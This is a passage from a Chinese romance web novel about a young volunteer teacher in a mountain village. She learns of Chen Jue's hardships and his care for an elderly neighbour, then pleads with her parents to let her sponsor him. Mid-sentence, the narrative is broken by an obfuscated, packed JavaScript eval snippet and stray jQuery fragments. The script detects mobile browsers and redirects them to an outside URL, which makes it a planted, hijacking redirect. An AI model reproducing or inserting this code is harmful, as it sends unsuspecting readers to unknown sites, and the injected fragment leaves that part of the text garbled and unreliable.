陈决带她来的地方她并不陌生,之前来村里找学生的时候她在这儿休息过,还被这家的老人错认过。
他们站在院子外的树下,老人恰好从屋里出来,朝另一间屋子走,没看见他们。
“我爸妈几年前去世了。”
俞岫看向陈决侧脸,没想到他会主动告诉她这件事。她并不打算袒露她早已在村长那儿听说了的事实。
“当时日子挺难过,我还没学会做饭。”
家里突生变故,他虽然懂事早,但很多事情也还是不会的。
那会儿走到哪都能听见村里人的议论声,说他们兄妹三人可怜,说不知道他们以后要怎么活。这些议论的人更多是冷眼相看,谁都没真正问过一句“需不需要帮忙”,没人愿意蹚浑水,沾一身污泥。
但也谈不上人心凉薄,毕竟村里人的生活也刚达温饱水平,更多时候是心有余力不足。陈决从没指望过什么,也就没有对人情冷暖的失望。
“村里人都有自己的日子要过,只有她,把我们接到家里吃饭。”
老太太也挺可怜,老伴走的早,儿子没到中年就生病去世了,儿媳改嫁,家里就剩她和孙女两个人。孙女十六岁那年跟同乡去城里打工,过年才能回来待上几天。
但就是这样一个老人,那年不由分说地拉着陈决兄妹三人回家,说再穷也喂的起三个孩子。
后来陈决再也没上过学,为了挣钱,十三岁那年帮人卖过菜杀过鱼,十四岁帮人搬砖摘茶叶,别人看不上的脏活累活他都干。
“那个时候,有没有人欺负你?”俞岫问他。
当然是有的。
村里孩子顽劣不堪,往他家门口扔过石头,骂他没爹没妈。镇里那些人又一个比一个精,知道他年纪小所以付他的钱总比别人少一半。
但他只是独自吞咽这些痛苦,没有怨言。
俞岫心情复杂,很多安慰的话堆在嘴边说不出口,风吹啊吹,就化作眼泪流下来了。
她知道陈决这时候需要的是倾听。最需要安慰的时候,没人安慰他,长久以往,他也就习惯了沉默。
他不是天生寡言少语,只是没人同他说。
而此刻他把过去讲给她听,连带着那些伤疤和泪血。神情淡然,声音平和,像在谈论别人的人生。
也是这一刻,俞岫觉得,陈决是那种人。
那种——
生活的苦难尽数压到他肩头,桩桩件件都在告诉他命运就是如此,他也只是沉闷地点头说好。
一切的不公,他都接受。
她不敢想他这些年是怎么过来的。
老太太这时候端着碗出来,人老了视力不好,依旧没看见院子外站着的两个人影。
俞岫收拾好心情,尽量让自己的声音听起来不那么抖:“我之前有次路过这儿,在这块石头上坐着休息了会儿,奶奶看见我,把我认成别人了。她喊我婷婷,婷婷是她孙女吧。”
陈决点头:“你们长得不像,她比你大七八岁,奶奶太想她了。”
“她很久没回来了吗?”
“两年多。”
“这么久?过年也不回来吗?”
陈决垂眸,转身往家的方向走,俞岫抬脚跟上,疑惑地看向他后脑。
走了二十几米,陈决步伐放慢,和她并排。
“去世了,车祸。”
咔嚓。
一根树枝横在石头上,俞岫没留意,一脚踩了上去,树枝断开,脚也扭了。
疼痛瞬间蔓延,她却愣在原地,连疼都忘了喊,眼泪跟断了线的珠子一样往下坠,已经分不清哪滴是为哪个流的了。
她只是觉得,好像还有什么东西,忽然断裂了。
“奶奶不知道,我瞒着她。”
陈决依旧往前走着,余光中没人影了才停下来回头找她。俞岫脸颊上闪烁着泪光,表情痛苦。
她嘴巴张开又合上,欲言又止。
“怎么了?”
她指了指脚:“扭了一下。”
陈决大步走过来,二话不说蹲到她脚边,手握住她脚踝捏了两下。
“这里吗?这样疼吗?”
俞岫脚被他抬起来,整个人失去平衡,只能扶住他肩膀,哭着点头:“疼。”
陈决帮她揉着,确定没伤到骨头才放心点,“这样疼不疼?”
俞岫泣不成声。
“好疼啊,陈决。”
陈决抬起头,她的一滴泪正好落下来,滴在他脸上。那一瞬间他眼底酸涩,懂了她说的疼是指什么。
“背你回去吧。”
俞岫哭的上气不接下气,没说好与不好,任由他把自己背到背上,而她胳膊搭在他肩上,无力地垂到他胸前。
她能清楚感受到陈决后背的温度,能看见他锁骨上的一颗褐色小痣,也能感觉到自己把下巴抵到他侧颈后,他身体骤然的僵硬和双手下意识的收紧。
她那些滚烫的泪水尽数流向他肩窝。
“……所以,这就是原因。”
是带她来这儿的原因,也是他没法离开洵山的原因。
“她关照过我,我得照顾她。”
他每天都很忙碌,因为除了家里两个小孩,还有位老人要照顾。每个月末,他都会以婷婷的名义给老人两百块钱。每一天,他都会去老人家帮忙干点活。
她年纪大了,身体不那么好,一个人在家里,他总怕发生意外。
俞岫的眼泪落在他锁骨窝里,蓄满了,溢出来,淌进衣领里,胸前的泪痕直达心口。
她胳膊收紧,环抱住他肩膀,哭到身体颤抖,断断续续说:“陈决,你…你自…自私一点吧。”
你多为自己着想一点吧。
多偏袒些自己吧。
多想想你的以后吧。
总是替别人做打算的话,你怎么办呢?
你自私一点吧。
可是她也知道,陈决不是这样的人,也永远不会成为这样的人。
她只是难过,知晓这些真相以后,她连安慰都没法说。
*
那个夜晚,俞岫对着手机发呆将近半个小时,脑中像覆了几张蛛网,思绪混乱。
脚腕上有明显的灼烧感,是陈决给她贴的膏药在发挥作用。
她想起自己来洵山前一天的雀跃与期待,想起和陈决不那么友好和谐的第一次见面,想起和他度过的许多个时刻。
想到最后,只剩难过。
眼泪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361268|199750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无声息滑落。
她解锁手机,屏幕上是和妈妈的聊天界面。输入框里的一行字,是她半小时前就打好的。
【妈妈,我喜欢上一个男生。】
删除。
【妈妈,我想和你打电话。】
发送。
两分钟后,电话响起。
接通,打开免提。
“宝贝怎么啦?玩的开不开心?想家了吗?”
俞岫垂下脑袋,深吸一口气,眼泪愈发汹涌。
“妈妈,对不起,我没和他们去旅游,我…来支教了。”
俞岫在电话中坦白了一切,也向他们讲述了洵山的一切,只是在过程中省略了陈决的存在。
在她说完后,电话那头经历了长达三十七秒的安静,俞母消化好半晌才回话:“宝贝,支教是一件很伟大的事情,爸爸妈妈以你为傲,你在那边安全就好,妈妈不怪你。”
父母对她一向宽容,能宠则宠,这次也一样。
俞岫思虑再三后,没底气地开口“妈妈,我想…资助几个人。”
一阵沉默后,接电话的人换成了俞父。
“几个人?是你的学生吗?爸爸不是不同意,但你现在年纪还小,不理解资助的含义。这件事情没你想象的那么简单,不是你给别人钱就叫资助了,你资助人家的同时也要尽到管教的责任,不亚于养大一个孩子,你明白吗?”
俞岫咬住下嘴唇点头,眼泪砸在手背上,“我明白,我会负责到底的。”
“那你告诉爸爸妈妈,你想资助几个人,是男孩还是女孩,都上几年级了。”
“三个。”
“一个女孩,两个男孩。”
“一个十岁,一个十二岁,还有一个……十八岁。”
“不可能。”俞父拒绝的斩钉截铁,“十八岁,跟你一样大的年纪!他不可能是你的学生吧?爸爸知道你是个善良的孩子,但是大山里面人心险恶,你不要被别人骗了!这么大的人了怎么可能需要资助呢!”
俞岫急忙否认,豆大的眼泪争相往下落,视线模糊一片。
“不是,不是的,爸爸,他不是坏人,没有人骗我,他没有让我资助他,是我想帮他,我只是想帮帮他……”
俞父深吸一口气,缓了缓语气,重新问她:“那你说,你为什么想帮他?”
俞岫伸手抹去脸上的泪,抽泣着说:“他人很好,很照顾我,我……”
“这个世界上的好人数不胜数啊女儿,难道因为他是个好人,你就要资助他吗?那个山村里面恐怕不止他这一个好人吧,难道你都要资助吗?”
“不是的……”
“这件事我和你妈妈都不会同意的,最多允许你资助那个小女孩,但你得如实把她的家庭情况告诉我们,我们再考虑能不能资助。十八岁的那个,想都不要想,绝对不可能!”
“爸爸!爸爸我……”
俞岫还想争取一下,但俞父已经挂断电话。
风扇嗡嗡作响,陈决的脸不断在脑中浮现。
她坐在那,脊背弯着,双手撑在身侧,肩膀颤抖的幅度越来越大,最后,彻底哭出声。
好难过啊,陈决。
为什么连帮你都无能为力。